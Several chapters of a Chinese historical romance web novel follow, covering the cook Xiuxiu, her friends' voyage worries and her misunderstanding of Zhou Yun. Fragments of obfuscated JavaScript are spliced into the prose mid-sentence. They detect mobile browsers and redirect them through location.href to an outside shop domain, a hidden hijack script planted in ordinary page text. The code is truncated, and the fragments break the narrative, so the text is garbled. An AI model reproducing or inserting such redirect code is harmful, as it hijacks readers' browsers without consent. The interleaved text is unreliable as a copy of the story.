0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633006|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏得乱七八糟。 他睇一眼，弯腰拾了起来，仔细抻平，扑打一番并不存在的灰尘，理所应当地揣进怀里，又沉沉离去。 秀秀一口气跑回金鼎轩后厨，扶着门框胸口剧烈起伏，脸色煞白如纸，心中久久不能平复。 正在井边淘米的丫头被她吓了一跳：“秀秀姑娘，你怎么刚走又接着回来了？” 秀秀木然自语：“我刚走？” 打杂丫头疑惑地问：“李厨头不是给了您半日假？” 秀秀眼神发直，喘着气，茫然地重复：“是吗？” 打杂丫头愈发纳闷：“是啊。” 秀秀恍然想起，自己确实是想回李府练习绣工。在打杂丫头不解的目光中，她定了定神，惊魂甫定，她有些尴尬地笑了：“我...我忘了点东西，这就走。” 再次踏上回府的路，秀秀的脚步沉重起来，她左右忖测，脑子里只剩一人在打转。 周允怎会跟那些地痞流氓混在一起？还打人？虽说早已明白他绝非正人君子，可...... 又路过茶楼，那鼻青脸肿的刘大正踉跄着从巷子出来，二人猝不及防打了个照面。 秀秀自然不知，此人便是在后厨对她嫉妒已久的小厮之兄，更不知，此兄弟二人心比针尖还小，弟弟阴险地想掳走她，哥哥歹毒地嘲讽她。 她面带愧怍之色，踌躇走过，却被刘大一把拉住袖子。秀秀自是一惊，只见此人竟晃晃悠悠朝她跪了下来，带着哭腔说道：“姑奶奶，您大人不记小人过，放我们哥俩儿一条生路罢！” 秀秀面露惊异之色，从他手里扯出袖子，愕然道：“我不认识你。” 这时，只见茶楼走出一人，正是阿定，却已换下方才打人时的衣裳，他朝刘大叱喝道：“哪来的叫花子，胆敢在茶楼前欺负良家女子？！” 刘大被这一嗓子吼得一激灵，回头看见阿定一张阎王脸，连忙屁滚尿流地跑了。 见人离开，阿定转身就走。秀秀把人叫住道谢，阿定微微颔首，很快又回了茶楼。 秀秀却盯着他的背影陷入沉思，那是一个她这辈子也忘不了的背影。 24. 第 24 章 七月里，日头毒得能把人晒脱一层皮，道上的黄土被车轮碾成细粉，热浪蒸蒸，糊在脸上又脏又黏。 商队在大太阳下赶路，秀秀不敢松懈，紧紧跟着。 她觉得自己的腿像灌了铅，每抬一步都更沉，用尽了力气。喉咙干涩，眼前一阵发黑，胃已经饿过劲儿，瘪下去，只剩阵阵绞痛。 商队的驼铃声、马蹄声，都仿佛隔了一层棉花，越来越远，不再清楚。 不行了...真的不行了... 她在心里哀鸣，看着商队模糊的影子一点点向前挪动，自己却被钉在滚烫的土地上。 绝望漫上心头，冲散了一切心气儿。秀秀心想：怕是要留在这儿了，变成一具无人认领的白骨... 就在意识即将涣散时，破空声来，一个圆滚滚、黄澄澄的东西划着弧线，落在她脚边的尘土里。 是个炊饼！ 饿极了的身子比脑子快，秀秀不多想，几乎扑过去，一把抓起来就往嘴里塞。干硬饼渣刮着喉咙，她却根本觉不出来，明明尝不出味道，但那是她吃过的最回味的炊饼。 狼吞虎咽了两口，噎得直抻脖子，求生本能被稍微满足，她才猛然想起，谁扔过来的？ 慌忙抬头看去，只见队伍末尾有个宽阔背影，骑着一匹高头大马，身子轻晃，融进刺眼的光晕和飞扬的尘土里。那人竟连头都没回，仿佛刚才不是为救人命，而是随手掉了，无关紧要。 可那个背影，深深烙在了她心里。 她小口小口珍惜吃着炊饼，不知哪来的力气，跌跌撞撞地，脚步居然又跟上了商队。就在这时，那人突然回头！ 秀秀一颗心猛地提到嗓子眼儿，拼命想看清救命恩人的模样，可那张脸却模糊不清，任凭他努力睁大眼睛聚焦，都像隔着层水雾，怎么也瞧不出。她急得满头大汗，扯着嗓子喊，发出嘶哑的声音：“恩人！恩人！” 脱口而出的瞬间，秀秀蓦地从床上弹坐起来。 窗外天光已亮，麻雀在枝头啾鸣，她怔怔摸了摸身下柔软的垫被，梦里那种濒死的绝望和得救的温暖仍异常清晰。 她慢慢坐正，长长舒了口气。那日下午的情景仍历历在目，从茶楼出来的那名男子...... “太像了...”她无意识地喃喃自语，“真是一个人？”心里七上八下，念头扎了根，改日定要去茶楼打探一二才是。 再无睡意，她索性起床，梳洗一番，才彻底回神。 今天是李府的大日子，李聿过了院试，正式进学，成了生员，秀秀被选中上了船，李府可谓双喜临门，一派喜气洋洋，张灯结彩。钊虹和李守常早早给各府送去了请帖，今日在府上大摆筵席。 她出了房门，兀自走进锦心园的小厨房。今日小厨房的婆子都去了大厨房帮忙，此时小厨房里空无一人，唯有空气里弥漫着一股槐花香。 这些天，院里那棵老槐又成熟一些，香气比前些日子更为馥郁，秀秀提早差人挑着嫩的摘下，今个儿一早便来厨房做起糕点。 昨日夜里，她照例去书房找李聿学字，问起他想要什么贺礼，李聿撑着下巴想了半晌，眼睛倏而一亮：“槐花糕！” 随后李聿便又絮絮叨叨提起，上回游船剩下的的槐花糕，都让周允打包拎走了，一块都没给他留。秀秀笑笑说，明日给你做新的，一块也不给他。 她挽起袖子，取出摘好的新鲜槐花，或着糯米粉细细搅拌。 想到周允，她动作不自觉慢下来。面粉的细腻手感仿佛变成了昨日深巷里的拳头，带着骇人的力道。 地痞？还是侠客？ 欺小凌弱？还是路见不平伸张正义？ 几个风马牛不相及的词，同时搅和进面粉里，她心烦意乱地揉着面团，心想，到底该不该告诉李聿，让他离周允远一些？ 直到李聿神采奕奕地接了槐花糕，又吞进肚子里，秀秀也没开这个口。 纠结之中，只一转眼，客人一波接一波地上门，宴席开了。 宴席照旧设在前院花厅，钊虹在席间穿针引线，说笑逗趣，果然热闹非凡，气氛始终热烈融洽。秀秀陪着笑，说着应景的吉祥话，心思却总是不由自主飘远。 宴毕，众人移步转去大花园听戏。 时值农历五月初，青天白日里已有了几分暑气。园中搭了凉棚，男女宾客分坐两区，中间隔着一道半透明的鲛绡纱帘。 台上锣鼓铿锵，演绎着才子佳人的悲欢离合，台下则摆着冰镇过的酸梅汤、绿豆糕、切片瓜果一类的解暑小吃。 微风拂过，纱帘轻扬，摇晃起来，弧度里都带着一半苦恼、一半踌躇。 帘角掀起的瞬间，秀秀总能敏锐地捕捉到一道灼灼目光，毫不避讳地从男宾席穿透过来。 她状若无意地斜斜睨一眼，心跳霎时漏了一拍，不是周允是谁？ 难不成因她发现了他的庐山真面目，他怀恨在心？ 秀秀顿时如坐针毡，她脸颊耳根都烧起来，不知是午后太阳晒人，还是他的目光太过炙热。 台上的戏文她一句也听不进去了，手里的团扇越扇越快，秀秀深呼吸一口气，索性起身，向钊虹告退：“日头有些晒，愈发头晕起来，干娘，我出去透透气。” 没想到，邻座的文珠和碧秋也款步走来：“正好我们也觉得吵，陪你一同回去歇歇。” 三人莲步轻移，说说笑笑，来到了锦心园前头的小花园。这里绿树成荫，一池碧水畔有座六角凉亭，四面通风，比别处更为清幽，三人在亭中坐下。 有小丫鬟很快摆上了清茶和几样零嘴。叶文珠呷了一口茶，用团扇轻扇几下，一反常态，她闷闷不乐道：“可算逃出来了，戏文咿咿呀呀的，听得人直犯困。” 接着便住了嘴，不似往日那般叽叽喳喳，蔫蔫地伏在青石桌面上，愁容满面，两个酒窝也无影无踪。 吴碧秋用柳木签子插了块甜瓜递过去，见她不理，便用胳膊肘轻轻碰她：“谁欺负我们文珠了？方才还好好的，这会儿倒像是谁欠了你八百两银子不还，瞧瞧这嘴，撅得都能吊起油瓶啦。” 秀秀放下扇子，也看过来。 叶文珠慢吞吞抬起头，眼里满是纠结，她长叹一声，托着脸颊，没精打采地说：“还能为什么...不就是那上船名单闹的呗。” 昨日，上船名单公布，三姊妹竟一齐入选，都被安排进“天禧号”巨轮之上。 秀秀被选为厨娘，这倒不意外。当初她对上船之事本就不甚在意，也没有办法，又因不愿麻烦钊虹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633007|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再去通融，便交了名帖上去。前几日她在厨艺大赛上崭露头角，如今被选中也不足为奇。因此，听叶文珠这么一说，她无波无澜，只安静听着。 碧秋则不同，当初她背着家里把名帖和医术考评都递了上去，又花了银子，自然入选，去船上继续做郎中。只是家里得知此事，却闹得好不愉快，但碧秋有她的得意之处，一是明年与张家的亲事还不知要推到何时，二是杨钦也被选中做了船上的护卫。纵有家里的不满和压力，她仍觉得一丝畅快和轻松。 最烦的莫属叶文珠了，当初她只不过是凑个热闹，皇京这么大，能人辈出，哪就能那么巧选上她？谁知道，不仅选上了，还被点为账房，去船上核算物资。原本也该是件值得骄傲的事儿，可麻烦就麻烦在时机上了。 “偏偏是在李聿中了院试之后！他是不用上船的。”叶文珠烦恼地抓了抓头发。 秀秀知道，李家不愿寅生上船，他自己也不甚愿意，毕竟去了船上，一切未可知，耽误一年半载，功课也不知该落下多少，况且，一个秀才，去船上作甚？干活还是打杂？故而李家花了银子打点，李聿的名帖根本没交上去。 一边是难得一见、能随巨舰航行、开阔眼界的天赐良机。多少人求都求不来的机缘，赏海外的风光，见番邦的奇珍，不比整日待在锅铺拨弄算盘珠子强？ 另一边是初露锋芒、前途光明的心仪少年郎。此行山高水长，不知几月方能回转，岂不是要与李聿分离许久？万一...万一这段时间，有什么变化呢？ 两种念头在她脑子里似一团乱麻，她哀叹一声，又趴了回去，闷声道：“我既想出去瞧瞧，又想留在京里，左右为难，我若是能分成两半，全都要了，那多好！” 秀秀闻言，与吴碧秋交换了一个了然的眼神。她问叶文珠：“你更想选哪个？” “我自是想去见识见识，可是，可是......”叶文珠耳朵尖微微一动，瓮声瓮气地说，“平凡又安稳地待在皇京，这不好吗？” 吴碧秋耐心回答：“文珠，平凡不过是世人给女子设下的陷阱。” 叶文珠蹙眉，声音细不可闻，不好意思地问：“上船一年半载，李聿他喜欢上别人了怎么办？” 秀秀抿嘴笑笑，温声劝道：“我知道寅生是个好男儿，可天下男子千千万万，比天上的星星还要多，等你见到更广阔的天地，你还非他不可么？若他等不了你，那不是正好看见他的真心？” 叶文珠迟迟不语，陷入深思之中。 良久，吴碧秋又说：“文珠，相夫教子，日复一日，一辈子在父家和夫家的庇佑里，固然有安稳的好，可你甘心掉进这无人在意、仰头看人的煎熬里？哪怕船队回来，还是逃不了这一套人生，可那也是后头的日子了，谁又说得准？去见了世面，开了眼界，抬了心气，长了本事，那才是自己的呢！” 秀秀连连称是：“细密的针，扎一针觉不出疼，扎得多了，便流血流泪。你想去见识，那便见识，想挣开，那便挣开，区区一个寅生，是无论如何也不该拦住你的。” 叶文珠仍旧踌躇，只是语气里少了些迷茫，多了些坚决，她朝二人说道：“我...我自个儿再想想！横竖名单定下来了，我说了也不算，无论如何，得上船的。” 25. 第 25 章 三人一时静默下来，亭外风吹竹叶响起沙沙声，老槐树的香气隔着墙溢过来。 又过了片刻，前头大花园里，最后一折子少年郎苦读中状元的戏也歇了，戏子们领了赏钱，正收拾箱笼，众宾客三三两两寒暄道别，仆役们收拾着残局，方才的热闹与喧嚣顿时散去，只剩渐渐沉静的暮色。 秀秀送走吴碧秋和叶文珠后，并未直接回房。 劝好了文珠，她心里却是闷得发慌。不由自主地，她脚步一拐，沿着鹅卵石小径，走进大花园，走向戏台边上那片假山。 假山倚墙垒建，不高，却玲珑剔透，洞壑幽深，她提着裙角，心不在焉地攀了几阶，便寻了一处平坦的大石坐下。 此时太阳如同一颗新鲜的鸭蛋黄，正缓缓西沉。金色余晖将天际染成橘红，温暖和煦却并不似午间那般暴晒，也给花园之中的亭台楼阁、一草一木都镶上金边。 然而，这般美景却未能驱散她心头的滞闷。她独坐石上，反复思量。 寅生和周允相交甚笃，干娘与周家亦是旧识，两家还有生意上的往来，显然他们也并未因周允的流言蜚语而疏远过他。是不是说明，周允人不坏？还是，他藏得够深？ 自已初来乍到，虽说是义女，但不过也是个借居于此的“外人”罢了，若在不明前因后果的情况下，贸然去说周允的不是，提醒李聿远离，岂不是成了搬弄是非、挑拨离间的小人？ 如此一想，心中那点因担忧而生的念头，便显得格外不合时宜。 可周允，真的如同那日所见般暴戾？ 罢了...往后自个儿留心，离他远一些便是。为了如此一个不甚相干之人，这般耗费心神，实在不该。 她轻吁一口气，仿佛要将心中郁结吐个干净，夕阳暖光映在她脸上，长睫投下薄薄阴影。 身后石阶上传来不轻不重的脚步声，打破这一隅宁静。 秀秀被脚步声惊扰，下意识回头望去，眼神一触，她的心快跳出来。 余晖恰好将来人的轮廓清晰勾勒出来，肩宽臂长，一身锦缎长袍，列松如翠，行走间显露出几分落拓不羁。一张脸实在俊俏，偏偏长在周允身上。 真是念曹操，曹操就到！ 方才在心里已将此人百般猜忌，如今真人骤然出现在眼前，秀秀只觉得脸上热意升腾而起，她心虚得厉害，仿佛那些见不得光的揣测都被他看了去。 秀秀几乎是本能地想要逃离，她立刻起身，低垂着眸，侧身快步下山去。 然而，方寸已乱，脚步也难免仓促，一不留神，裙裾又被那山石棱角绊住，身子一个趔趄，眼看着就要扑倒在地！ 秀秀倒吸一口凉气，“啊”一声，吓得闭上了眼。 岂料预想中的疼痛并未到来，反而跌进了一个带着皂角清冽气息的怀里，坚实又温热，那是一股让人安心的力量。 周允本是眼疾手快，下意识一揽，手臂却恰好环住了秀秀的腰肢，另一只手稳住她肩膀。 少女的身子软得不可思议，隔着轻薄的布料，能清晰地感受到她微微的颤抖。发间的清香，混合着她身上自然的甜暖之气，猛地窜进他的鼻息。 手上触感如此清晰，和在云雾山那日的后背触感重叠，把周允撞得僵在了原地。温香软玉入怀，不敢妄动，他一时忘了松手，低头看着怀中之人变成胭脂。 秀秀又羞又急，虽说又不是没背过，可与男子有这般面对面的亲密，她还是头一回。在感受到手臂的力道和片刻的凝滞后，她更是臊得无地自容。 她用力一挣，从他怀里脱身，连退两步，背靠着冰凉的假山石，再也不看周允一眼，快足欲跑。 周允眼更疾、手更快，长臂一伸，精准抓住她的手腕。 他的手掌很大，掌间带着长年打铁磨出来的茧子，温热而有力，有隐约粗糙感。纤腕被握住的瞬间，两人不由都颤了一下。 “跑什么？”他的声音比平日又低沉些，带着一丝不悦，“回回见了我就跑，我是洪水猛兽不成？” 秀秀用力想抽回手，却挣脱不开，一时间羞愤难当，加上方才的窘迫，一股脑化作怒气，她昂起头来横眉冷对，嗔道：“你自己心里清楚！” 这话没头没尾。 周允却听懂了。手上力道稍微松了些，依旧没放开。 他嘴唇动了动，千言万语涌到嘴边，可一看见她粉面含威的模样，再多的解释还是被他强行咽了回去。 周允喉间滚动，将心中所有翻腾压下去，他顿了顿，眼神依旧牢牢锁着她，目光扫过她微微凌乱的发丝，终究是松开了手。 手腕上那灼人的温度骤然消失，秀秀头也不回地快步下了假山。 山下隐隐传来一声“姑娘，可算找到你了。”纤细背影很快消失在渐浓的暮色里。 周允站在原地，望着她消失的方向，手上还残存着那细腻温软的触感，他眉头微皱，眼底情绪复杂难明。良久，他松开紧咬的牙关，也下山而去。 秀秀一路仓皇，回到锦心园，“喵呜”软糯叫声拉回她的思绪，庆哥儿正翘着尾巴，亲昵地蹭着她的裙角。 秀秀蹲下身，把庆哥儿抱进怀里，走到美人榻坐下来，指尖轻抚小猫柔软温暖的皮毛，心绪才渐渐平稳下来。 她把庆哥儿举起，用额头抵着它毛茸茸的脑袋，像是问它，又像是自言自语，声音轻得如同耳语：“还好他不上船。” 庆哥儿无法回应，只是舒服得眯起眼，喵呜喵呜叫着。 一人一猫，温暖静谧，秀秀如释重负，殊不知，周允下山后，并未独自离开。 日头西斜，李聿跟着周允穿过月洞门，周府息心园的竹帘卷起，黑白子错落间，周允气势汹汹，分毫不让，把李聿杀得片甲不留。 难得李聿没丧脸，进学的喜悦还未全然消退，输几盘棋又何妨？ 春风带着恰到好处的暖凉之意，拂过庭院，送来清新草木气息。卷帘被小厮放下，李聿兴致高昂：“如此良辰美景，最宜把酒言欢！” 周允默不作声，瞥他一眼，意思是没心情。 李聿不依不饶，眉梢都带着轻快，说道：“赢了棋还不管饭，未免太不近人情。” 周允静默片刻，吩咐来兴洗院：“把息心亭收拾出来。” 来兴忽地想起什么，请示道：“少爷，荷叶已经都用完了，今晚还煲汤吗？” 周允微不可查地一顿，眸光略沉，只淡淡道：“不必。” 来兴应声下去准备，周允李聿二人一同往亭子走去。 不多时，亭中的石桌上便摆开几样精致却并不铺张的菜肴：一碟酱汁牛肉，一尾豉油蒸鲜鱼，一盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633008|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清炒豌豆苗，另有一盅火腿菌子汤，一碟油炸蚕豆小食。梨花白被烫得温热，倒入白瓷杯中，酒液清澈。 太阳还未落干净，天边一弯月牙已悄然升起，清辉淡淡，二人对坐，李聿先是品评了一番方才的棋局，又说了些近日京中趣事，周允一言不发。 两杯温酒下肚，李聿白皙面皮泛起红晕，说话愈发没了拘束。他忽然凑近，带着几分促狭笑意，压低声音问：“不然兄，我瞧出来了，你对秀秀姐姐，可不一般。” 周允执杯的手在半空滞住，他低垂眼睫，看向杯中晃动的月影，新月纤细清瘦，一弯极细的银钩，像她蹙起的眉。 周允没有应声承认，也并未否认，他轻晃手中盏，透明的酒面泛起涟漪，眉毛跟着扭动起来。 李聿见他这般情状，倒是笃定七八分，乘胜追击：“男子汉大丈夫，喜欢便是喜欢，有何不敢承认的？” 周允将手中的半盏酒一饮而尽，他嗤笑一声：“滚滚红尘，不缺我这个天煞孤星。” “呸！”李聿闻言，酒意上头，竟是难得板起了脸，声音也跟着拔高，“什么天煞孤星！周祖母是寿终正寝，伯母是产后体虚久病难医，仪妹妹是急症夭折，哪一桩，哪一件，跟你扯得上干系？” 此话来的猝不及防，亭中霎时安静，针落有声，只听得池边偶尔传来几声蛙鸣。 李聿见其脸色严肃冷漠，自觉失言，当即便醒了三分酒，他懊恼地一拍脑门，连忙道：“不然兄，我、我喝多了，胡说八道，这张臭嘴真该撕了去！你千万别往心里去！” 周允自顾自拿起酒壶，给自己和李聿各斟满一杯，平静道：“陈芝麻烂谷子，我还跟你讨这个理儿么？”说罢，他仰头饮净杯中酒，辛辣入喉，带来一丝暖意。 李聿见他如此，心下稍安，连忙转移话题，追问他：“那你到底喜不喜欢秀秀姐姐，给句痛快话！” 周允此时略有昏沉之意，眼中迷蒙，看了看天上的月牙，喉间溢出一声极轻的、连他自己都尚未听清的喟叹：“......嗯。” 李聿顿时眉飞色舞，阴阳怪气笑道：“这话，我姐姐可没听见。” 周允索性不再搭理他，只闷头喝酒。 李聿笑过后，不知怎的，情绪又低落下来，一手托腮，一手用筷箸有一下没一下地戳着碟里的蚕豆，嘟囔道：“文珠要上船...她要是喜欢上别人怎么办？” 周允听在耳中，却别有一番滋味，他何尝不是？ 二人浅斟低酌，借酒消愁，不多时，李聿已见醉态，趴在桌上，嘴里还念念有词，不知说些什么。 周允唤来兴，来兴适时地端上来两碗醒酒汤，周允端过汤来一口喝下，李聿也迷迷糊糊喝了大半碗。 夜风渐凉，明月高悬，月光铺地，院子被照得冷亮澄明，院中石灯散出融融暖光。 周允吩咐来兴：“差人稳妥送他回府。” 马车载着李聿离去，周允独自站在寂静的院中，肆无忌惮地仰头望天，想把那枚月亮据为己有。 回房沐浴后，周允恢复了些清明，歇下反倒觉得酒劲上头，他在床上躺着，浑身燥热。 息心园如同名字一般，时时刻刻都是静的。周允向来喜静，如今却觉得这静谧太过冷清、阴森，正思及此，耳畔便响起了一声娇滴滴的“不然”。 26. 第 26 章 周允闻声一怔，歪着身子坐了起来，眯开眼，只见床边有一人影。朦朦胧胧，如梦似幻，他掀开床帏，骤然失序。 但见女子身着水红色绫罗衫子，正颔首低眉，羞赧得不敢看他。红衣灿若云霞、薄如蝉翼，冰肌玉骨、玲珑曲线，一览无遗。 周允愣愣看着，手里的床帏越攥越紧，如何也放不下了。嘴上干涩：“你是何人？” 红衣女子的脖颈耳畔皆是桃红一片，仍低垂着粉颈，她羞嗔道：“不然，是我呀。” 说罢，女子缓缓拉上他的手，仍不看他，却愈发楚楚动人，她娇声道：“随我来。” 声音娇柔不失清脆，听得周允竖起汗毛，手心出汗，握着的手也愈发滑/润，他走了神。 女子笑盈盈地拉他一把，周允六神无主，随她下床走去。 出了门，已是阳春午后，二人走上一条开满梨花的小径，落英缤纷，落在红衣女子身上，红的似火，白的似雪，艳阳高照，把他的骨头缝都照酥了。 远处有潺潺水声，清越动人，路至尽头，原来是一条溪。 二人来到溪边，周允问：“来此处作何？” 女子不语，慢慢转过身来，去拉他的腰带。 周允猛地攥住她的腕子，呼吸急促起来：“你......你抬起头来，让我瞧瞧。” 红衣女子并不照做，而是双手环上他的躯干。 香风拂拂，一时间，周允觉得心旌摇动，溪水从他身体里淌过。 异常宁静的午后，阳光在他身上爬动，他抚摸上她的腰肢，盈盈一握，是一种熟悉的感觉，却记不起这感觉来自何处。 他又抚上她的脊背，轻轻说：“不要唤我不然。” 红衣女子不解地问：“为何？” 然后是她的脖颈，他的手比阳光还热，他的声音里带着恒久的寂寞：“我不喜欢。” “周允。”红衣女子的声音飘飘而来。 “我是不祥之人，你走罢。”周允语气冰冷，可他的手已游走至她的锁骨。 “你不是。”女子话音刚落，周允猛地一激灵，又闻缱绻细语，“你分明是祥瑞之相...” 最后，他抚上娇艳如花的唇，指尖轻触，接着，他将自己的嘴凑了过去。 在无边春意里，周允把她的红衫褪下肩头，心神俱醉间，眼前面容不甚真切，唯有一双翦水秋瞳，欲语还休，比溪水还清还亮，里头似有一条小鱼在游。 四目相对，周允大惊失色，颤抖着后退几步，猛地跌坐进溪水之中，浑身湿透。 他猛然睁开眼。 心跳快过战鼓，寝衣早已被汗水浸湿，他眉头紧锁，闭上眼又深呼吸几口，倏忽间如遭雷击，往下一看，他身体僵住。 他烦躁地换下衣裳，赤足踏在冰凉地板，走到窗边，一把推开窗户，清冷夜风灌入，吹散一室暧昧气息。 天边，月亮依旧高挂，事不关己，飘进云里。 翌日清晨，翡翠湖上仍一片浩渺烟波，拂云观的青石阶上还沾着露水，两个小道士正打着哈欠洒扫庭院，后头三进偏房中，周允已与掌观的清虚道长坐定良久。 “施主怕是记错了，敝观从未见过此人。”清虚道长摇头。 周允面色无波无澜，浅浅抬一下嘴角，袖中手收拢，取出一锭银元宝，放置桌上：“您再仔细想想？” 清虚道长板着脸，肃声说道：“观中从不容江湖术士逗留，更不必提孩童，施主请回罢。” 桌上的银元宝转了个圈，落回周允手里。他慢条斯理的摩挲着手中银锭，抬眼看向清虚道长。 道长起身，严肃送客。 周允顺意出门，行至院中功德箱，随手把元宝投了进去，眼底却是寒意深深，静站片刻，他捻了捻指尖，眉眼之间仍深不可测，却忽然轻笑一声。 当年的游方道士断定他是天煞孤星，可昨日夜里，有人说他“祥瑞之相”啊。 “祥瑞？”道诡茶楼里，说书人阿胜醒木一拍，众人聚精会神，只听此人嗓音醇厚，不疾不徐，娓娓道来，“话说这城南果真有两祥瑞！城南翡翠湖，湖水碧透，湖周翠竹环抱，就在那竹林深处，掩映着一座道观，名曰‘拂云观’，观中有一老仙翁，道号玉辛子，那可真是一奇人！” 话说此处，阿胜故意一顿，往台下扫了一眼，有茶客喊：“阿胜，大家伙可都去过这道观，莫卖关子啦！” 说书人阿胜嘿嘿一笑，继续道来：“有那缘法深厚的香客曾亲眼所见，道长腾云驾雾，历经数十年风霜，身貌却未曾改变！更奇的是，他长年有两只通体雪白的灵猫伴其左右，形影不离。据说，这老仙翁，正是那得了道、长生不老的陆地神仙！两只白猫便是从那天上下来的祥瑞，一个管天，一个管雨，若是没了这祥瑞，那就遭殃喽！” 席间另有茶客高声笑道：“阿胜莫不是唬人？我也去过那拂云观几回，可从未听说过什么玉辛子老道，更别提祥瑞！” 阿胜倒也不恼，折扇“唰”地一收，微微一笑，高深莫测：“问得好！仙人踪迹，岂是我等凡夫俗子可以窥见的？” 阿胜摇头晃脑道：“正所谓‘只在此山中，云深不知处’。须得缘分到了，道长方肯现身呐！” 阿胜又将那老道的神异之处渲染几分，讲起故事来：“......说时迟那时快，只见鹤发老道纵身跃上围墙，剑花一挽，便乘风归去！” 席间众说纷纭，一时玄奇，阿胜直到吊足了众人胃口，这才再拍醒木：“欲知后事如何，且听下回分解！” 茶客们意犹未尽，各自散去，继续喝茶、对弈。 秀秀瞅准时机，连忙起身，快步走到台前，对着阿胜福了福身，见阿胜看过来，她开口问道：“小女子钊柔，冒昧打扰。” 阿胜抬头，仔仔细细把秀秀瞅了一个遍，笑着问：“姑娘何事？” 秀秀被他盯得不自在，问：“先生可还还记得去岁从西边来的商队？昔日小女子幸得商队一位义士相助，这才随着来到此处，方才观先生容貌与那位恩人极为相似，不知，是否就是您，当初给了我一个炊饼？” 阿胜闻言朗声一笑：“姑娘，你怕是认错人喽。救你的，想必是我家兄长，我二人是孪生兄弟，相貌确实一般无二，外人乍然认错也是常有之事。” 秀秀一怔，原来是孪生兄弟，难怪如此相像。她忙问：“令兄今日可在茶楼？” 阿胜道：“姑娘莫急，家兄虽今日不在，但端阳之后，茶楼有棋会局戏，届时他必定前来，姑娘若想确认，那时再来便是。” 秀秀今日前来，正是为了打探恩人消息，得了准信，便稍微放下心来。 日头还早，金鼎轩还尚未到忙碌时候，午后阳光斜穿过窗棂照到她身上，一股混合着茶香、干果味和人声的喧闹气息扑面而来，舒适又惬意。 这些日子，她在后厨吃，在李府住，衣衫鞋袜也有干娘惦记着，除了前些日子备赛买了些药材，平日都花不着自个儿的钱，如此一来，每月发的工钱，倒是让她攒下不少。 今日进了曾经遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633009|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可及的茶楼里，再无往日窘迫，秀秀便生出几分难得的闲情，目光在那水牌上逡巡片刻，最终落在“杏仁茶”上。 这茶听来便香甜可口，可一瞧价钱，她却是又犹豫了，此茶比大多茶水都贵，她暗自咬了咬唇，狠了狠心，走到柜台朝伙计说：“劳驾，要一盏杏仁茶。” 随后，她在楼梯边的偏僻位子坐下来，小口啜饮着，淡淡甜香在舌尖化开，当真好喝极了。她安顿下来，不多时，邻桌几个茶客的高谈阔论便吸引了她的注意。 “听说了吗？厨艺大赛那日，刘大让人给揍了！”一个留着山羊胡的男子压着嗓子说道，却难掩眉飞色舞之意。 旁边的人立刻凑趣：“呦，还有这事？谁这么替天行道？” 山羊胡男子接着笑说：“那倒不知道，问起来，刘大如傻了似的，说是黑白无常！” 话音刚落，众人哄笑。 另一人冷笑一声，插话进来：“叫他碎嘴子，钊掌柜平日里对人和和气气，真当人家没脾气，忍气吞声？” 秀秀一惊，此事还与干娘有关？ 她继续听下去，只闻此人又说：“刘大他兄弟刘小，当初在金鼎轩使坏，被踢了出来，估摸那时候，就恨上了。又见钊掌柜义女都进复赛了，刘小却是连初赛都过不了，他兄弟俩心里指不定多少邪火呢！编排人家钊姑娘，我看打一顿也是他该的!” 旁边人揶揄问：“你又是怎么，刘大欠你钱了？” 那人冷哼道：“兄弟俩一坏坏一窝，刘小更不是个东西，年初我小舅弟与他一道被打，是谁打的也问不出来，药费还是我付的！现在还老说腿疼！” 秀秀不理会旁人恩怨，却是被一番话惊得呆在了原地。原来那日在茶楼后巷里，周允竟是替她出气么？！ 不论给她出气还是给干娘出气，如今看来，都是她的不是了。她倒好，狗咬吕洞宾，误会人家不说，还在假山上那般冷言冷语！真是错得离谱！ 秀秀又震惊又愧疚，心中又隐秘地掺着一点儿温暖。长这么她，谁又这般维护过她？她想了想，实在想不起来。 她盘算着要怎么给周允赔不是才好，既不能逾距，又能明了歉意，实在难。 心不在焉地，她未曾注意到，周允正从门外进来。 他轻咳两声，秀秀抬起眼来，人骤然出现在面前，却唯有难为情，正琢磨如何开口，岂料周允红着脸，竟冷冷从她身边绕过，径直上了二楼。 被她气得脸都红了么？唉，也罢。 换谁谁也生气，谁叫她不识好人心，还给他脸色看... 秀秀沮丧着回了金鼎轩，前脚刚踏进后院，只见几个仆役正忙忙碌碌，来回搬着东西。 “大娘，这是做什么呢？”秀秀顺手扶了一把差点从萝筐里掉出来的青翠叶片，好奇问道。 